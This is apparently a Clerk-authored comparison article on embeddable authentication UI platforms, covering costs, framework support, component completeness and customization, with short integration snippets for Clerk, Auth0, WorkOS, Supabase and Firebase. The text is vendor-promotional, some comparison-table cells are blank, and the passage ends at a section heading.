Security represents the most critical concern. OWASP identifies authentication failures as consistently ranking in the top security vulnerabilities. Common pitfalls include permitting weak passwords, credential stuffing vulnerability, missing [rate limiting](/glossary#rate-limiting), session management flaws, and insufficient multi-factor authentication ([OWASP, 2023](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)). Professional authentication providers employ dedicated security teams conducting regular penetration testing, resources unavailable to most development teams.

The hidden costs compound over time. A $10,000 custom authentication build versus a $200/month pre-built solution reaches cost parity after approximately four years, but this calculation ignores opportunity cost. **"Free" solutions can cost $200,000+ more than commercial alternatives over three years** when accounting for engineering time and feature gaps ([FusionAuth, 2025](https://fusionauth.io/buildvsbuy)).

## What makes a UI truly "embeddable"

An embeddable UI component is a self-contained, reusable piece of user interface that integrates into applications as a standardized building block. These components encapsulate both appearance and functionality, operating independently while communicating with parent applications through defined interfaces ([Component Driven, 2025](https://www.componentdriven.org/)).

**Key characteristics distinguish embeddable components from traditional libraries.** Encapsulation isolates component state from application business logic, making them genuinely independent and reusable ([Thoughtworks, 2024](https://www.thoughtworks.com/insights/blog/ui-components-design)). Standardization provides interchangeable building blocks with well-defined APIs and fixed state series. Self-containment enables components to function independently with clearly defined boundaries. Composability allows combining small components into complex features while maintaining modularity ([Maruti Techlabs, 2024](https://marutitech.com/guide-to-component-based-architecture/)).

### Implementation patterns for embedding authentication UIs

Modern embeddable UIs employ four primary implementation patterns, each with distinct trade-offs.

**iFrames** represent the traditional approach, creating nested browsing contexts with complete isolation. While providing strong encapsulation, iFrames suffer significant limitations including SEO penalties, nested scrollbars, clunky user experience, and performance overhead ([Factorial, 2024](https://www.factorial.io/en/blog/building-towards-reusable-modular-web-iframes-and-web-components)). The BBC Visual Journalism team documented **25% faster load times after migrating from iFrames to Shadow DOM** ([BBC, 2023](https://medium.com/bbc-product-technology/goodbye-iframes-6c84a651e137)).

**Web Components** offer the modern standard approach. Shadow DOM provides encapsulation without iframe overhead, custom elements enable custom HTML tags with defined behavior, and HTML templates provide structured, extensible UI code. Web Components deliver **11% faster time to first meaningful paint compared to iFrames** with smoother integration and automatic height adjustment ([BBC, 2023](https://medium.com/bbc-product-technology/goodbye-iframes-6c84a651e137)).

**Framework-specific components** dominate current implementations. React components lead with 20+ million weekly NPM downloads ([Hypersense Software, 2024](https://hypersense-software.com/blog/2024/11/05/react-development-statistics-market-analysis/)). Vue, Angular, and Svelte offer their own component ecosystems. Benefits include strong community support, extensive tooling, and natural component reusability within framework ecosystems.

**SDK-based integration** injects components via JavaScript SDKs into host pages. This API-first architecture with REST endpoints offers complete control. Examples include Auth0 Lock, Clerk components, and Stytch Admin Portal, all distributed as NPM packages with CDN fallbacks.

Integration methods range from NPM packages (most common for JavaScript frameworks with version management) to CDN delivery (script tags for immediate availability without build processes) to inline script tags (simplest integration for widgets and embeddable tools).

## The compelling benefits of embeddable UIs versus custom development

### Development time savings measured in months

**Pre-built authentication components reduce implementation from months to days.** Clerk enables production-ready authentication in hours with 10-15 lines of code. Auth0 documented one customer achieving **80% reduction in IAM-related development and maintenance** ([Auth0, 2025](https://auth0.com/)). Organizations using structured build-versus-buy frameworks achieve 30% faster time-to-market ([Full Scale, 2025](https://fullscale.io/blog/build-vs-buy-software-development-decision-guide/)).

First-to-market advantage provides significant competitive benefits. Early market entrants capture substantial market share, revenue, and sales growth advantages, making time-to-market fundamental to competitive advantage in technology ([TCGen, 2025](https://tcgen.com/time-to-market/)). Pre-built components offer immediate availability after contract signing, while custom implementations require months before first deployment.

### Security advantages of specialized authentication providers

Professional authentication platforms employ dedicated security teams with specialized expertise. These teams conduct regular security audits, penetration testing, and maintain compliance certifications that individual development teams cannot match. Clerk automatically integrates breach detection via HaveIBeenPwned ([Clerk Security Overview](/docs/security/overview)), while Auth0 provides breached password detection and bot prevention out-of-box.

OWASP documents common vulnerabilities in custom authentication implementations including credential stuffing (attackers using brute force with valid username/password lists), session hijacking (intercepting session tokens/cookies), weak password storage (plain text, non-encrypted, or weakly hashed passwords), missing MFA (lack of multi-factor authentication protection), and client-side bypass (authentication routines bypassed on jailbroken devices) ([OWASP, 2023](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)).

Automatic security patch deployment ensures vulnerabilities receive immediate fixes without requiring engineering intervention. Compliance certifications ([SOC 2](/glossary#soc-2), GDPR, [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa), ISO 27001) come built-in rather than requiring separate audit processes.

### Long-term cost comparison reveals hidden expenses

**Initial cost comparison shows significant differences.** Custom builds cost $10,000-$100,000+ upfront development, while pre-built solutions run $35-$150/month for 500 users following typical Auth0 pricing models. However, long-term total cost of ownership tells a different story.

Forrester research shows **52% of software projects run longer than planned**, with project overruns averaging 27% and one-in-six exceeding estimates by 200% ([Stytch, 2024](https://stytch.com/blog/build-vs-buy/)). Custom solutions require ongoing investment in specialized talent, continuous security monitoring, compliance maintenance, and feature updates.

The break-even analysis depends on scale. A $10,000 custom build versus $200/month solution reaches parity after approximately four years, but only when ignoring opportunity cost, engineering time reallocation, and security incident risk.

## Comprehensive platform comparison of embeddable UI solutions

### Clerk: The component-first authentication platform

Clerk positions itself explicitly as a component-first platform, offering the most comprehensive embeddable UI library in the authentication space. The platform provides **10+ pre-built components covering all authentication and user management needs** ([Clerk Documentation, 2026](/docs/components/overview)).

**Core authentication components** include `<SignIn>` (complete UI supporting [OAuth](/glossary#oauth), email/password, [magic links](/glossary#email-links), [passwordless](/glossary#passwordless-login) with automatic MFA handling), `<SignUp>` (full-featured registration with progressive multi-step forms and built-in CAPTCHA), `<GoogleOneTap>` (streamlined sign-in for Google users), and the `<Show>` component for conditional rendering based on auth state, roles, permissions, features, and plans ([Clerk SignIn Component](/docs/components/authentication/sign-in), [Clerk SignUp Component](/docs/components/authentication/sign-up)). The `<Show>` component replaces the previously separate `<SignedIn>`, `<SignedOut>`, and `<Protect>` components with a single unified API using a `when` prop.

**User management components** provide production-ready interfaces. `<UserButton>` renders the familiar dropdown popularized by Google with account management options and multi-session support ([Clerk UserButton Component](/docs/components/user/user-button)). `<UserProfile>` offers a full-featured account management UI allowing users to manage profile, security, and billing settings with support for custom pages and external links ([Clerk UserProfile Component](/docs/components/user/user-profile)).

**Organization components** set Clerk apart from competitors. `<OrganizationSwitcher>` enables switching between organizations, `<OrganizationProfile>` handles complete organization management, `<CreateOrganization>` streamlines organization creation, and `<OrganizationList>` displays available organizations. These first-class [multi-tenancy](/glossary#multi-tenancy) components eliminate months of custom development for B2B SaaS applications ([Clerk Organization Components](/docs/components/organization/organization-switcher), [Multi-Tenant Authentication Guide](/blog/how-to-build-multitenant-authentication-with-clerk)).

**Billing components** include `<PricingTable>` for displaying subscription plans and features that users can subscribe to, and `<Checkout>` for handling payment flows, both tightly integrated with Clerk's billing system ([Clerk Billing](/billing)).

Clerk's framework support spans **15+ SDKs with first-class React/Next.js integration.** The Next.js SDK provides native [App Router](/glossary#app-router) and [Pages Router](/glossary#pages-router) support, dedicated hooks and server-side helpers, optimized route protection via `clerkMiddleware()`, and Edge Runtime compatibility ([Clerk Next.js SDK Reference](/docs/reference/nextjs/overview), [Next.js Quickstart](/docs/quickstarts/nextjs), [Next.js Authentication Landing Page](/nextjs-authentication)). Additional SDKs support Remix, React Router, Astro, Vue, Nuxt, React Native (Expo), iOS (Swift), Android (Kotlin), and backend frameworks including Express, Fastify, Go, Python, Ruby on Rails, and C# ([Clerk React Authentication](/react-authentication)).

**Customization reaches multiple levels of depth.** The appearance prop system provides six prebuilt themes (including shadcn, Neobrutalism, Simple) with variable overrides for colors, typography, and borders. The elements prop enables fine-grained styling targeting specific HTML elements with Tailwind CSS, CSS modules, or inline styles. For maximum control, redesigned hooks like `useSignIn`, `useSignUp`, and `useCheckout` let you build completely custom UIs while maintaining underlying business logic ([Clerk Customization Guide](/docs/customization/overview), [Customization Deep Dive](/blog/how-we-roll-customization)). Core 3 also introduced automatic light/dark theme detection as standard behavior.

Integration typically requires 10-15 lines of code. Here's the root layout setup:

```tsx
// Next.js App Router - app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>{children}</ClerkProvider>
      </body>
    </html>
  )
}
```

With the provider in place, protecting a page takes just a few lines:

```tsx
// Protected page with authentication check - app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function Dashboard() {
  const { userId } = await auth()
  if (!userId) redirect('/sign-in')
  return <div>Protected Dashboard Content</div>
}
```

**Clerk's pricing model** includes 50,000 monthly retained users (MRUs) free on the Hobby plan, with the Pro plan starting at $20/month (annual) or $25/month and including 50,000 MRUs with tiered overage starting at $0.02/MRU. The Business plan runs $250/month (annual) or $300/month with SOC 2 report and priority support. The free tier includes all features in development mode with no credit card required. Clerk also offers a "First Day Free" policy where users who sign up and don't return after 24 hours aren't billed ([Clerk Pricing, 2026](/pricing)).

Guillermo Rauch, CEO of Vercel, noted: "The best practices built-in to their \<SignIn/> and \<UserProfile/> components would take months to implement in-house, yet no sacrifice is made in terms of Enterprise extensibility or customization to your brand" ([Clerk, 2026](/)).

Performance improvements continue with Core 3 (released March 2026), which reduced bundles by \~50KB gzipped through React sharing across SDKs, introduced automatic light/dark theme detection, and improved offline handling. The Handshake system (introduced in Core 2) continues to deliver 2x-5x faster authentication execution and elimination of the "flash of white page" during auth state sync. Edge Runtime support enables sub-15ms authentication checks for performance-critical applications. Clerk's component-first philosophy emphasizes delivering production-ready UI that developers can embed directly, rather than forcing them to build authentication interfaces from scratch ([Component Philosophy](/blog/a-component-is-worth-a-thousand-apis)).

### Auth0: Enterprise-grade authentication with Lock widget

Auth0 provides mature, battle-tested authentication infrastructure with extensive enterprise features. The platform's primary embeddable component, **Auth0 Lock Widget**, offers a complete authentication solution handling login, signup, password reset, and multi-provider authentication including Email/password, social logins (Google, Facebook, Twitter, GitHub, Apple, Microsoft), [SAML](/glossary#security-assertion-markup-language-saml), and [OIDC](/glossary#openid-connect) ([Auth0 Documentation, 2025](https://auth0.com/docs/libraries/lock)).

**Lock version 14.x** (current) is built with React 18 and supports standard Lock for full authentication widgets and Lock Passwordless for email/SMS-based authentication without passwords. Features include password strength indicators, signup with additional fields, forgot password flows, and account linking capabilities with browser compatibility extending to IE 10+ ([Auth0 Documentation, 2025](https://auth0.com/docs/libraries/lock)).

Framework support includes vanilla JavaScript, React (via auth0-react library), Angular (via angular-lock wrapper), and limited Next.js support. Integration typically requires **30-50 lines of code and 7-10 configuration steps**:

```javascript
// Basic Auth0 Lock Integration
import { Auth0Lock } from 'auth0-lock'

const lock = new Auth0Lock('YOUR_CLIENT_ID', 'YOUR_DOMAIN', {
  auth: {
    redirectUrl: window.location.origin + '/callback',
    responseType: 'token id_token',
    params: { scope: 'openid profile email' },
  },
  theme: {
    logo: 'https://example.com/logo.png',
    primaryColor: '#31324F',
  },
})

lock.on('authenticated', function (authResult) {
  lock.getUserInfo(authResult.accessToken, function (error, profile) {
    localStorage.setItem('accessToken', authResult.accessToken)
    localStorage.setItem('profile', JSON.stringify(profile))
  })
})

document.getElementById('login-button').addEventListener('click', () => lock.show())
```

Customization options include logo and primary color configuration, button customization for social providers, language dictionary for internationalization, and 40+ configuration parameters. However, Auth0 explicitly discourages CSS overrides as they may break with updates, limiting structural modifications ([Auth0 Documentation, 2025](https://auth0.com/docs/libraries/lock/lock-ui-customization)).

**Auth0's pricing has drawn criticism** following a 300% price increase for B2C Essentials plans in late 2023. Current tiers include Free (up to 7,500 MAUs), B2C Essential (starts at $32/month), B2C Professional ($220/month for 1,000 MAUs included), and Enterprise (custom pricing). Advanced features like [RBAC](/glossary#role-based-access-control-rbac) and enterprise [SSO](/glossary#single-sign-on-sso) restrict to higher tiers ([Auth0 Pricing Analysis, 2024](https://blog.logto.io/auth0-pricing-explain)).

Auth0 excels in **enterprise features and compliance**, offering extensive provider support (20+ identity providers), strong security features out-of-box, excellent documentation, and mature platform stability (8+ years). However, limitations include the Lock widget no longer receiving active feature development ([NPM, 2025](https://www.npmjs.com/package/auth0-lock)), limited customization without CSS overrides, Next.js integration challenges with serverless, escalating pricing at scale, and somewhat dated UI/UX compared to modern alternatives.

### WorkOS: Enterprise-ready B2B authentication

WorkOS targets B2B SaaS applications with **AuthKit**, a comprehensive authentication solution including hosted UI for customizable authentication flows and React-based widgets for user management, organization switching, user profiles, session management, and security settings ([WorkOS Documentation, 2024](https://workos.com/docs/user-management/widgets)).

Framework support covers React, Next.js (both Pages and App Router), and backend SDKs for Node.js, Python, Ruby, Go, PHP, Java, and .NET. Integration using WorkOS widgets requires minimal setup:

```tsx
// WorkOS AuthKit Integration - Next.js
import { withAuth, getSignInUrl } from '@workos-inc/authkit-nextjs'

export default async function HomePage() {
  const { user } = await withAuth()
  if (!user) {
    const signInUrl = await getSignInUrl()
    return <Link href={signInUrl}>Log in</Link>
  }
  return <p>Welcome {user.firstName}</p>
}
```

Customization options include hosted UI configuration through dashboard (branding, colors, messaging, domain), widgets themeable via Radix Themes or custom CSS, and full control available through User Management APIs for bring-your-own-UI implementations ([WorkOS Blog, 2024](https://workos.com/blog/widgets)).

**WorkOS differentiates through pricing and enterprise features.** The platform offers free access up to 1 million MAUs, significantly more cost-effective than competitors for user management alone ([Nir Tamir, 2024](https://www.nirtamir.com/articles/authentication-with-workos-in-next-js-a-comprehensive-guide/)). However, enterprise features require additional per-connection pricing: SSO costs $125 per connection (1-15 connections), Directory Sync costs $125 per connection, Audit Logs cost $125/month per SIEM connection plus $99/month per million events stored, and Radar (bot detection) costs $100/month per 50k checks after the first 1,000 free ([WorkOS Pricing, 2025](https://workos.com/pricing)). For B2B SaaS applications with multiple enterprise customers requiring SSO, these per-connection fees accumulate quickly; 50 enterprise customers each needing SSO would cost $6,250/month in addition to user management costs. Native multi-tenancy with organization-level auth policies, RBAC permissions embedded in JWT tokens, and SSO/SCIM integration position WorkOS for B2B SaaS applications requiring enterprise-ready authentication from day one.

The platform best serves B2B SaaS applications requiring organization-based multi-tenancy, teams wanting to minimize frontend development for user management, and applications scaling from first user to largest enterprise customers with flat pricing.

### Supabase: Open-source authentication with React components

Supabase provides **Auth UI**, a pre-built React authentication component supporting email/password, magic link, social provider authentication (Google, Facebook, Twitter, GitHub, Apple), and password update/reset flows ([Supabase Documentation, 2025](https://supabase.com/docs/guides/auth/auth-helpers/auth-ui)). **Critical note:** As of February 7, 2024, Supabase Auth UI is no longer officially maintained by the Supabase team and has moved to community maintenance.

Integration proves extremely simple, requiring **5-10 lines of code and 3-4 configuration steps** with 2-4 hour setup time:

```tsx
// Supabase Auth UI Integration
import { createClient } from '@supabase/supabase-js'
import { Auth } from '@supabase/auth-ui-react'
import { ThemeSupa } from '@supabase/auth-ui-shared'

const supabase = createClient('PROJECT_URL', 'ANON_KEY')

function App() {
  return (
    <Auth
      supabaseClient={supabase}
      appearance={{
        theme: ThemeSupa,
        variables: {
          default: {
            colors: {
              brand: 'red',
              brandAccent: 'darkred',
            },
          },
        },
      }}
      providers={['google', 'github']}
    />
  )
}
```

Framework support includes React (primary), React Native (with adaptations), Next.js (well-supported with specific guides), Svelte (community package), with Vue and Angular requiring custom implementation.

**Supabase offers extremely competitive pricing.** The free tier includes up to 50,000 MAUs, 500MB database, and 1GB file storage with 2 active projects maximum. Pro Plan ($25/month) includes 100,000 MAU with additional MAU at $0.00325 per user. For 150,000 MAU, total cost equals $187.50/month, dramatically cheaper than Auth0 at comparable scale ([Zuplo, 2024](https://zuplo.com/blog/2024/11/27/api-authentication-pricing)).

Strengths include being the most affordable option for growing apps, offering a generous free tier (50,000 MAU), providing a simple modern React-first approach, excellent Next.js integration, being open-source with no vendor lock-in, Postgres-backed with powerful database capabilities, and transparent predictable pricing. Limitations center on **no longer being officially maintained** since February 2024, limited primarily to React ecosystem, fewer framework integrations than competitors, smaller community compared to Firebase/Auth0, less mature enterprise features, and no native Android/iOS UI components.

### Firebase: Google's authentication UI for mobile-first apps

Firebase offers **FirebaseUI Auth**, a complete authentication solution built on Firebase Authentication SDK supporting multiple methods including Email/password, Email link, Phone, and extensive social logins (Google, Facebook, Twitter, GitHub, Apple, Microsoft, Yahoo, OIDC, SAML). FirebaseUI provides account linking flows, anonymous user upgrade, password recovery, and one-tap sign-up integration with **40+ languages supported** ([Firebase Documentation, 2025](https://firebase.google.com/docs/auth/web/firebaseui)).

Platform-specific versions include FirebaseUI Web, FirebaseUI Android, and FirebaseUI iOS with separate implementations optimized for each platform.

Framework support includes vanilla JavaScript, React (via firebaseui-web-react wrapper), Angular (community wrapper ngx-auth-firebaseui), limited React Native (core SDK only), Cordova/Ionic (redirect flow only), and Next.js (compatible but requires careful implementation).

Integration requires **10-15 lines of code and 5-7 configuration steps** with 4-8 hour setup time:

```javascript
// Firebase UI Auth Integration
import * as firebaseui from 'firebaseui'
import { getAuth } from 'firebase/auth'

const ui = new firebaseui.auth.AuthUI(getAuth(app))
ui.start('#firebaseui-auth-container', {
  signInOptions: [
    firebase.auth.GoogleAuthProvider.PROVIDER_ID,
    firebase.auth.EmailAuthProvider.PROVIDER_ID,
    firebase.auth.PhoneAuthProvider.PROVIDER_ID,
  ],
  signInSuccessUrl: '/dashboard',
  tosUrl: 'https://example.com/tos',
  privacyPolicyUrl: 'https://example.com/privacy',
})
```

**Firebase Authentication pricing** offers exceptional value. The Spark Plan (Free) includes up to 50,000 MAU free with phone authentication at 10,000 verifications/month free. All social/email authentication methods remain free. The Blaze Plan (pay-as-you-go) maintains first 50,000 MAU free with $0.0025-$0.0055 per MAU above. Phone SMS costs $0.01 per verification (US/Canada/India), $0.06 (other countries). UI components themselves remain completely free ([Firebase Pricing, 2025](https://firebase.google.com/pricing)).

Strengths include a very generous free tier (50,000 MAU), completely free UI components, strong mobile app support (Android, iOS), excellent integration with Firebase ecosystem (Firestore, Cloud Functions), automatic credential management, comprehensive documentation, and open source. Limitations include Google ecosystem lock-in, phone auth costs escalating internationally, limited advanced enterprise features (no native RBAC or organization management), FirebaseUI v7 (modular SDK support) still in alpha, minimal UI customization options ("squarish buttons set in stone" ([SuperTokens, 2024](https://supertokens.com/blog/what-do-pre-built-authentication-ui-tools-look-like))), and migration complexity to other platforms.

### Additional embeddable UI platforms

**Frontegg** provides a comprehensive **Admin Portal** with Personal Space (user profile, MFA settings, device management) and Workspace (account settings, team management, SSO configuration, webhooks, audit logs). The Login Box offers fully customizable authentication UI. Framework support spans React, Next.js, Vue.js, Angular, and vanilla JavaScript with hosted mode for any backend. Pricing starts at $99/month for 10 tenants and 1,000 users ([WorkOS Blog, 2024](https://workos.com/blog/best-user-management-software-2024)). Frontegg excels in self-service SSO where end-users can configure their own SSO connections without engineering support.

**Descope** offers embeddable Widgets (User Profile, User Management, Access Key Management, Audit Logs, Tenant Management) and visual no-code authentication Flows with 100+ pre-built templates. Framework support includes React, Vue, Angular, Next.js, and Web Components. The drag-and-drop UI builder provides pixel-perfect customization with self-service SSO configuration wizard supporting 10 IdP guides ([Descope, 2024](https://docs.descope.com/widgets)).

**Stytch** provides an **Admin Portal** with embeddable components including AdminPortalOrgSettings, AdminPortalMemberManagement, AdminPortalSSO, and AdminPortalSCIM for self-service enterprise authentication management. Framework support covers Next.js, React, and vanilla JavaScript. Unique features include embeddable magic links in any communication channel, 99.99% bot detection accuracy, and device fingerprinting ([Stytch, 2024](https://stytch.com/blog/stytch-admin-portal/)).

**Ory Elements** delivers a React component library with login components, registration forms, account recovery, settings pages, verification flows, and consent management. Framework support includes React, Next.js, Preact, and React Native. Ory differentiates through modular architecture (four distinct components: Kratos, Hydra, Keto, Oathkeeper), hybrid deployment options (open-source self-hosted, Enterprise License, or Ory Network managed), and complete API control for headless implementations ([Ory, 2024](https://www.ory.sh/docs/kratos/bring-your-own-ui/custom-ui-ory-elements)).

**PropelAuth** offers hosted pages (default) for login/signup, account management, and organization/team management, plus an optional PropelAuth Components library for custom login forms, MFA enrollment, and user information updates. Framework support includes React, Next.js (both routers), Vue.js, and backend SDKs. PropelAuth emphasizes B2B focus with organization-first hierarchical roles and fastest setup among reviewed platforms ([PropelAuth, 2024](https://ui.propelauth.com/)).

**Better Auth** delivers a TypeScript-first authentication framework with extensive framework support spanning React, Vue 3 Composition API, Svelte, Next.js, and SvelteKit. The library provides flexible authentication patterns including social providers, email/password, magic links, and passkeys with a modern developer experience prioritizing type safety. Better Auth differentiates through framework-agnostic design with first-class support for multiple frontend frameworks, full TypeScript support with auto-generated types throughout, modular plugin architecture for extending functionality, and flexible deployment supporting both serverless and traditional hosting. The open-source nature provides complete control without vendor lock-in, while comprehensive documentation covers integration patterns for major frameworks ([Better Auth, 2024](https://www.better-auth.com/)). Better Auth suits teams requiring multi-framework support, TypeScript-first development workflows, or organizations preferring open-source solutions with commercial flexibility.

## Framework-specific integration considerations

### React and Next.js dominate embeddable UI support

React's position as the most popular JavaScript framework (20+ million weekly NPM downloads) makes it the primary target for embeddable UI platforms ([Hypersense Software, 2024](https://hypersense-software.com/blog/2024/11/05/react-development-statistics-market-analysis/)). **Clerk provides the most comprehensive React/Next.js support** with native App Router and Pages Router implementations, dedicated hooks (`useUser`, `useAuth`, `useOrganization`), Server Component support via the async `auth()` helper from `@clerk/nextjs/server`, and Edge Runtime compatibility ([Clerk React SDK](/react-authentication), [React Quickstart](/docs/quickstarts/react), [Comparing React vs Next.js Authentication](/blog/comparing-authentication-react-nextjs)).

Next.js App Router pattern with Clerk demonstrates the developer experience:

```tsx
// Server Component with authentication - app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function Dashboard() {
  const { userId } = await auth()
  if (!userId) redirect('/sign-in')

  // Server-side data fetching with authenticated user
  const userData = await fetchUserData(userId)

  return <div>Welcome {userData.name}</div>
}
```

Auth0, Supabase, and Better Auth all provide React SDKs, though with varying degrees of Next.js optimization. Auth0's Next.js integration faces challenges with serverless deployment when embedding Lock widget. Supabase offers react-specific auth helpers with good Next.js support. Better Auth delivers TypeScript-first implementation with React client.

Best practices for React/Next.js include using Server Components for auth checks, implementing `clerkMiddleware()` in `proxy.ts` for route protection in Next.js 16, using the `<Show>` component for conditional rendering, and taking advantage of React's concurrent features for better user experience.

### Vue and Nuxt gain authentication component support

Better Auth provides native Vue 3 Composition API support with clean integration patterns. Nuxt Auth Utils offers an official minimalist module for Nuxt applications. Supabase Auth UI Vue delivers pre-built components via the supa-kit/auth-ui-vue package ([GitHub, 2024](https://github.com/supa-kit/auth-ui-vue)). Clerk also provides official Vue and Nuxt SDKs (`@clerk/vue` and `@clerk/nuxt`) with full component support.

Vue Composition API pattern with Supabase demonstrates framework-appropriate integration:

```typescript
// Vue 3 Composition API authentication
const { supabaseUser } = useSupabaseUser(supabaseClient)

watch(
  () => supabaseUser.value,
  (user) => {
    if (!user) router.push('/login')
  },
  { immediate: true },
)
```

Best practices include using composables for auth logic, implementing server middleware for SSR applications, and leveraging Pinia for complex authentication state management.

### Angular receives comprehensive Auth0 support

Auth0 provides the most comprehensive Angular support with RxJS integration, dependency injection patterns, and HTTP interceptors. AWS Amplify offers AmplifyAuthenticatorModule for Angular applications. Authing delivers native Guard components ([Authing, 2024](https://docs.authing.cn/v2/en/reference/ui-components/angular.html)).

Angular route guard pattern demonstrates framework-appropriate implementation:

```typescript
// Angular authentication guard
export const authGuard: CanActivateFn = (route, state) => {
  const authService = inject(AuthService)
  if (authService.userValue) return true
  return router.createUrlTree(['/login'])
}
```

Best practices include using dependency injection for authentication services, implementing HTTP interceptors for token management, and leveraging RxJS observables for authentication state streams.

### Svelte and mobile frameworks show emerging support

Better Auth offers native Svelte client support. Auth.js provides a SvelteKit adapter marked as experimental ([Auth.js, 2025](https://authjs.dev/getting-started/integrations)). For mobile, Clerk delivers official Expo SDK (`@clerk/expo`) for React Native with native UI components (`AuthView`, `UserButton`, `UserProfileView`) introduced in Core 3, plus native Google Sign-In support. Auth0 provides native React Native and Flutter SDKs.

The framework support matrix reveals significant gaps. While React/Next.js ecosystems enjoy comprehensive options, Svelte, mobile frameworks, and emerging frameworks like Solid.js receive limited native SDK support from most platforms. Organizations building on less common frameworks often implement authentication via vanilla JavaScript SDKs or wait for community-built wrappers.

## Component completeness analysis across platforms

### What's included out-of-box determines custom development requirements

**Clerk offers the most complete component library** with `<SignIn>`/`<SignUp>`, `<UserButton>` dropdown, `<UserProfile>` management, `<OrganizationSwitcher>`, `<OrganizationProfile>` management, `<CreateOrganization>` flows, `<OrganizationList>` display, `<PricingTable>` for monetization, `<Checkout>` for payment flows, and the unified `<Show>` component for conditional rendering based on auth state, roles, permissions, features, and plans. This completeness eliminates months of custom UI development for B2B SaaS applications requiring organization management ([Clerk, 2026](/docs/components/overview)).

**Auth0 provides focused authentication components** including Universal Login (hosted), extensive social login support, multiple MFA methods, password reset, email verification, SSO (SAML, OIDC), breached password detection, and bot detection. However, Auth0 lacks built-in user profile management UI, organization switcher components, and billing integration, requiring custom development for these common features.

**WorkOS AuthKit delivers enterprise-focused components** including hosted authentication UI, sign in/sign up flows, password reset, email verification, enterprise SSO routing, MFA enrollment, bot detection/blocking, OrganizationSwitcher widget, and UsersManagement widget for invitations and role management. WorkOS emphasizes hosted UI solutions minimizing client-side bundle size.

**Supabase Auth UI provides basic authentication** including email/password sign in, magic link, social logins, and password reset with basic theming. Supabase lacks user profile UI, organization management, MFA UI (requires custom implementation), and billing components. The community-maintained status since February 2024 raises concerns about future development.

**Firebase UI Auth focuses on authentication flows** including email/password, email link (passwordless), phone authentication, social logins, account linking flows, and account recovery. Firebase provides no user profile management, organization management, or billing components, requiring significant custom development for production applications.

### Enterprise features comparison reveals significant gaps

| Feature          | Clerk           | Auth0         | WorkOS      | Supabase           | Firebase    |
| ---------------- | --------------- | ------------- | ----------- | ------------------ | ----------- |
| SAML SSO         | Enterprise tier |               |             |                    |             |
| SCIM             | Limited         |               |             |                    |             |
| MFA UI           | Built-in        | Built-in      | Built-in    | Manual only        | Built-in    |
| RBAC             | Built-in        |               |             | Row Level Security | Custom only |
| Audit Logs       | Built-in        |               |             | Limited            | Limited     |
| Organizations    | First-class     | Metadata only | First-class |                    |             |
| User Profile UI  | Complete        | Basic only    | Basic       | None               | None        |
| Admin Dashboards | Built-in        | Dashboard     | Widgets     | Studio             | Console     |

The component completeness analysis reveals **Clerk and WorkOS as the most complete solutions for B2B SaaS applications** requiring organization management and enterprise features. Auth0 provides enterprise authentication but requires custom UI development for user profiles and organization management. Supabase and Firebase excel at basic authentication but demand extensive custom development for production user management features.

Organizations must carefully evaluate component completeness against their roadmap. A platform lacking organization management components may require 2-3 months of custom development, eliminating much of the time-to-market advantage of pre-built authentication.

## Customization capabilities and branding flexibility

### CSS control and styling customization vary dramatically

**Clerk provides multiple tiers of customization depth.** The appearance prop system enables theme selection from six prebuilt options (default, dark, shadcn, Shades of Purple, Neobrutalism, Simple), variable overrides for colors/typography/borders, layout configuration for logos/social buttons/terms, and fine-grained element styling targeting specific CSS classes with Tailwind, CSS modules, or inline styles. For maximum control, redesigned hooks (`useSignIn`, `useSignUp`, `useCheckout`) let you build completely custom authentication UIs while preserving all business logic ([Clerk Customization Documentation](/docs/customization/overview), [Clerk Themes](/docs/customization/themes)). Clerk also provides Mosaic, a Figma design system mirroring every Clerk UI component, enabling designers to prototype authentication flows visually before implementation ([Mosaic Design System](/blog/introducing-mosaic-bring-your-brand-to-every-authentication-flow)). Core 3 added automatic light/dark theme detection as a default behavior.

```tsx
// Clerk comprehensive customization example
;<SignIn
  appearance={{
    baseTheme: dark,
    variables: {
      colorPrimary: '#6c47ff',
      colorText: '#ffffff',
      borderRadius: '0.5rem',
    },
    elements: {
      formButtonPrimary: 'bg-blue-500 hover:bg-blue-600 text-white rounded-lg',
      card: 'shadow-2xl',
    },
  }}
/>
```

**Supabase offers token-based theming** with eight customizable elements (button, container, anchor, divider, label, input, loader, message), custom classes per element, inline style objects, theme variables for colors, and light/dark mode support. The approach provides good flexibility for developers comfortable with code-based customization.

**Auth0 Lock provides limited customization** including logo and primary color configuration, social button customization (display name, colors), language dictionary for i18n, and 40+ configuration parameters. However, Auth0 explicitly discourages CSS overrides which may break with updates, limiting structural modifications significantly ([Auth0, 2025](https://auth0.com/docs/libraries/lock/lock-ui-customization)).

**Firebase UI Auth offers minimal customization** with CSS override support but no theming system and limited built-in customization options. The community describes Firebase UI as having "squarish buttons set in stone" with "clunky customization" requirements ([SuperTokens, 2024](https://supertokens.com/blog/what-do-pre-built-authentication-ui-tools-look-like)).

| Platform        | CSS Control  | Custom Classes | Inline Styles | Theme System     | Component Override |
| --------------- | ------------ | -------------- | ------------- | ---------------- | ------------------ |
| **Clerk**       | Deep         | Full support   | Full support  | Custom theme API | Custom hooks       |
| **Supabase**    | Good         | 8 elements     | 8 elements    | Variable-based   |                    |
| **Auth0**       | Medium       | Restricted     | Restricted    | Basic templates  |                    |
| **Firebase**    | Very Limited |                | Minimal       | None             |                    |
| **WorkOS**      | Limited      | Hosted only    | Hosted only   | Radix-based      | Custom UI option   |
| **SuperTokens** | Excellent    | Full support   | Full support  | React override   | Complete           |

### Localization and internationalization capabilities

Clerk provides full i18n support with custom labels, error translation, and multiple language support. Auth0 offers multiple languages with custom translation capabilities. Supabase requires manual localization implementation with custom label support but no error translation. Firebase provides a limited language set with restricted customization. AWS Cognito offers English-only support with no localization options, a significant limitation for international applications.

The customization analysis reveals **Clerk, SuperTokens, and Supabase as providing the deepest styling control**, while Firebase and WorkOS (in hosted mode) offer minimal customization. Organizations with strong brand requirements should prioritize platforms offering comprehensive theming systems and component override capabilities.

## Integration complexity and developer experience metrics

### Lines of code and setup time vary by 10x across platforms

